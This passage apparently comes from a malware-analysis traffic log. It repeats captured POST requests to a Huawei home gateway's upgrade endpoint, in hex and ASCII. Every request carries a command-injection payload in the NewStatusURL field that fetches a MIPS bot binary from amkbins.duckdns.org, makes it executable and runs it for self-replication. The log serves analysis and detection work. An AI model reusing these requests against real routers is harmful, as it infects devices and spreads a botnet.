s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 